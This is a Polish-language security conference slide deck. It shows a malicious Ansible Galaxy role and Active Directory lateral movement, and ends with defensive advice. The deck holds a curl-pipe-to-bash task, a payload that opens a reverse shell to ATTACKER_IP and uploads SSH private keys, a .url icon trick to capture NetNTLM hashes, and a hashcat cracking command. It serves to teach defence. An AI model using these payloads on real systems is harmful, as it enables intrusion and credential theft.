Hacking Depot
Marek RzepeckiMaciej SzymczakCISO @
/in/maciejszymczak
maciej.szymczak@securitum.pl
a wcześniej…
Współautor drugiego tomu "Wprowadzenia do bezpieczeństwa IT".
~setki pentestów
~1k+ uczestników
~tysiące serwerów
marek.rzepecki@securitum.pl
Współautor pierwszego tomu "Wprowadzenia do bezpieczeństwa IT"
~setki pentestów (infra, web, mobile)
m.in NetSec Master,
WebSec Master
Ethical hacker @
Pokazujemy to, żebyście wiedzieli jak tego uniknąć, a nie jak to zrobić komuś krzywdę.
Nie atakuj bez pisemnej zgody właściciela systemu, sieci czy aplikacji. To nielegalne.
https://szymczak.at/talks/ansible-dependency-confusion-and-pwning-ad
Ramsey Bolton
Administrator, który musi automatyzować.
I to szybko.
Pracuje w kulturze, gdzie "DevOps" to synonim "admina, który pisze skrypty".
Jego cel: wdrożyć nową konfigurację uwierzytelniania na 100 serwerach.
Na wczoraj.
Imperatywnie czy deklaratywnie?
#!/bin/bash
# Sprawdzenie, czy pakiet nginx jest już zainstalowany
if ! dpkg -s nginx > /dev/null 2>&1; then
echo "Pakiet Nginx nie został znaleziony. Rozpoczynanie instalacji..."
# 1. Aktualizacja listy pakietów
apt-get update
# 2. Instalacja Nginx z opcją -y (potwierdzenie)
if apt-get install -y nginx; then
echo "Nginx zainstalowany pomyślnie."
else
echo "BŁĄD: Instalacja Nginx nie powiodła się. Sprawdź uprawnienia lub połączenie sieciowe." 1>&2
exit 1
fi
else
echo "Nginx jest już zainstalowany."
fi---
- name: Instalacja i konfiguracja Nginx
hosts: all
become: yes
tasks:
- name: Ensure nginx is installed
ansible.builtin.apt:
name: nginx
state: present
update_cache: yes
- name: Ensure nginx is running
ansible.builtin.service:
name: nginx
state: started
enabled: yesJak to działa w npm/pip?
Cel - wewnętrzna biblioteka firma-auth w wersji 1.0.0.
Uruchomienie złośliwego kodu -> GAME OVER
Bezpieczny z założenia <3
Ansible szuka ról TYLKO lokalnie
Jeśli rola nie zostanie znaleziona, Ansible zwróci błąd.
Atakujący musi oszukać CZŁOWIEKA, nie narzędzie!
czyli Ansible Galaxy
Aby użyć roli ze społeczności, Ramsey musi świadomie dodać ją do projektu:
roles:
# Rola od znanego dostawcy
- name: community.mysql
# Rola od nieznajomego...
- name: authentication-prod.setupMotto Ansible Galaxy - "używasz na własne ryzyko"
#1 zaufanie & socjotechnika
#2 brak kontroli nad treścią
Typosquatting
(coMunity.mysql vs community.mysql)
Wiarygodnie brzmiące nazwy (authentication-prod.setup)
Polecajki od AI (fałszywe lub nie!)
W zadaniach roli można umieścić dowolny kod.
Nikt nie weryfikuje zawartości ról, ani ich aktualizacji.
A skąd wziąć taką ładną nazwę?
To tzw. namespace w Galaxy.
Tak - wystarczy założyć konto na GitHub - i to będzie Twój namespace :)
HINT: załóż konto na GH dla swojej firmy - tylko żeby je zarezerwować, inaczej ktoś może próbować się pod Twoją markę podszyć!!
Nazwa na GH = namespace w Galaxy.
Wygląda profesjonalnie, prawda?
Nazwa authentication-prod/ansible-role-setup - brzmi oficjalnie.
README - profesjonalny opis, instrukcja użycia, zmienne.
Odznaki "build: passing", "License: MIT" - budują zaufanie.
A kod?
Na pierwszy rzut oka…
…całkiem normalny.
ansible.bultin.shell
NOT GOOD!
Analiza fragmentu kodu
- name: Fetch latest security policy definitions from central repository
ansible.builtin.shell: >
curl -s https://raw.githubusercontent.com/authentication-prod/policy-definitions/main/definitions.sh | bash
changed_when: falseRED FLAGS!
Co jest w tych "politykach"?
ATTACKER_IP="1.2.3.4"
ATTACKER_PORT="4444"
# 1. Create a reverse shell...
(bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &)
# 2. Exfiltrate SSH private keys...
SSH_DIR="$HOME/.ssh"
if [ -f "$SSH_DIR/id_rsa" ]; then
curl -s -X POST --data-binary @"$SSH_DIR/id_rsa" "http://$ATTACKER_IP/upload-keys.php?user=$(whoami)&host=$(hostname)" > /dev/null 2>&1
fi
echo "System security policy definitions updated successfully."Payload?
curl -s http://canarytokens.com/static/about/fdh9jbzycxt4jht9sk480srol/post.jsp > /dev/null 2>&1(nie chciałem uzbrojonego payloadu zostawiać w Ansible Galaxy)
tym razem niegroźny…
Efekt? Wystrzelony trigger (lub reverse shell…)
Podsumowanie części pierwszej.
Nie instalować zew. modułów bez dogłębnej analizy!
Przeczytanie kodu to dobry pomysł, ale niekoniecznie tylko oczami.
ansible-lint
WARNING: tasks/main.yml:15
command-instead-of-module: curl used in shell module. Use get_url module instead.
WARNING: tasks/main.yml:15
risky-shell-pipe: Shells that pipe to other shells are risky.
WARNING: tasks/main.yml:17
no-changed-when: `changed_when: false` is not idempotent.Podsumowanie części pierwszej.
checkov
Check: CKV_ANSIBLE_2: "Ensure shell module is not used with pipes"
FAILED for resource: Fetch latest security policy definitions from central repository
File: /tasks/main.yml:15-17
Guide:
Piping to shell is a security risk as it can execute untrusted code.
It is recommended to use the get_url or uri module to download files and then execute them after verification.Atakujący przejął dostęp do komputera z wykorzystaniem reverse shella.
Marek Rzepecki!
i proste poszerzenie obecności w domenie AD
tutaj start wycieczki
Pliki skrótów Windows (.lnk) to standardowe skróty, które mogą wskazywać też na zewnętrzny zasób - ale wymagają kliknięcia.
Istnieje jednak specyficzne opcjonalne pole - Icon Location
To pole wskazuje na lokalizację ikony pliku
przykładów jest więcej:
https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
[InternetShortcut]
URL=http://sekurak.pl/pwned
WorkingDirectory=test
IconFile=\\192.168.56.41\%USERNAME%.icon
IconIndex=1
Pliki .url to skróty otwierające adresy w przeglądarce.
Mogą mieć własną ikonę, tak jak .lnk.
Explorer pobiera ikonę automatycznie z podanej ścieżki.
Mamy uprawnienia RW w zasobie sieciowym (np. firmowy share)
Tworzymy i wgrywamy plik .lnk, wskazując, że ikona znajduje się na naszym serwerze
Komputer użytkownika który wyświetla zawartość zasobu, próbuje pobrać brakujący element z naszego serwera
Uwierzytelnia się do nas zostawiając swój NetNTLM ;-)
sudo hashcat -r best64.rule -w 4 -O -m 5600 hash /usr/share/wordlists/rockyou.txt
Pwn3d
W Windows, możliwe jest wykonywanie pewnych funkcji (procedur) zdalnie z użyciem RPC (Remote Procedure Call)
np.EfsRpcOpenFileRawThe EfsRpcOpenFileRaw method is used to open an encrypted object on the server for backup or restore.
Różne usługi (np. „drukarka”, „zarządzanie certyfikatami”, „EFS”) udostępniają własny interfejs RPC
Endpoint Mapper
mówi, na jakim porcie
działa dany RPC
TCP 135
Usługa RPC
wykonywanie odpowiednich
funkcji na systemie
TCP 49152 - 65535
(zależnie od wersji Windows)
Transport
np. SMB, HTTP,
Named Pipes
zależy od protokołu
Klient pyta port 135: „hej, na jakim porcie działa EFSRPC?”
Serwer odpowiada: „na 49160”.
Klient łączy się na ten port i wywołuje zdalną funkcję.
Niektóre funkcje RPC mogą pozwalać na wykonywanie połączeń zdalnych
2. Funkcja ta powoduje wykonanie połączenia do naszego hosta, i próbę uwierzytelnienia serwera do naszego zasobu -> przesłanie challenge NTLM
3. Jeśli wymusimy uwierzytelnienie od istotnego hosta, to możemy próbować przekazać challenge-response dalej -> tzw. NTLM relay
Jest sporo różnych nazwanych technik tego ataku, np : PetitPotam, PrinterNightmare itd
nasz aktualny cel
Pwn3d
i Web Enrollment (błąd ESC8)
Pwn3d
Kiedy instalujemy na nowym kontrolerze domeny usługi Active Directory, konto lokalnego administratora (użytkownik: "Administrator") staje się pierwszym adminem domeny
Istnieje szansa, że to samo hasło administratora domeny, zostało wykorzystane w kilku miejscach:
"tego konta i tak nigdy nie będziemy używali, więc ustawię takie samo 30 znakowe hasło"
Problem: jeśli pozyskamy hasz LM tego konta, to możemy zalogować się nim do innych hostów (standardowy Pass The Hash)
i weryfikuj podpisy binarek
😡
sensowny EDR & SIEM
włącz SMB signing
/in/maciejszymczak
maciej.szymczak@securitum.pl
marek.rzepecki@securitum.pl
https://szymczak.at/talks/ansible-dependency-confusion-and-pwning-ad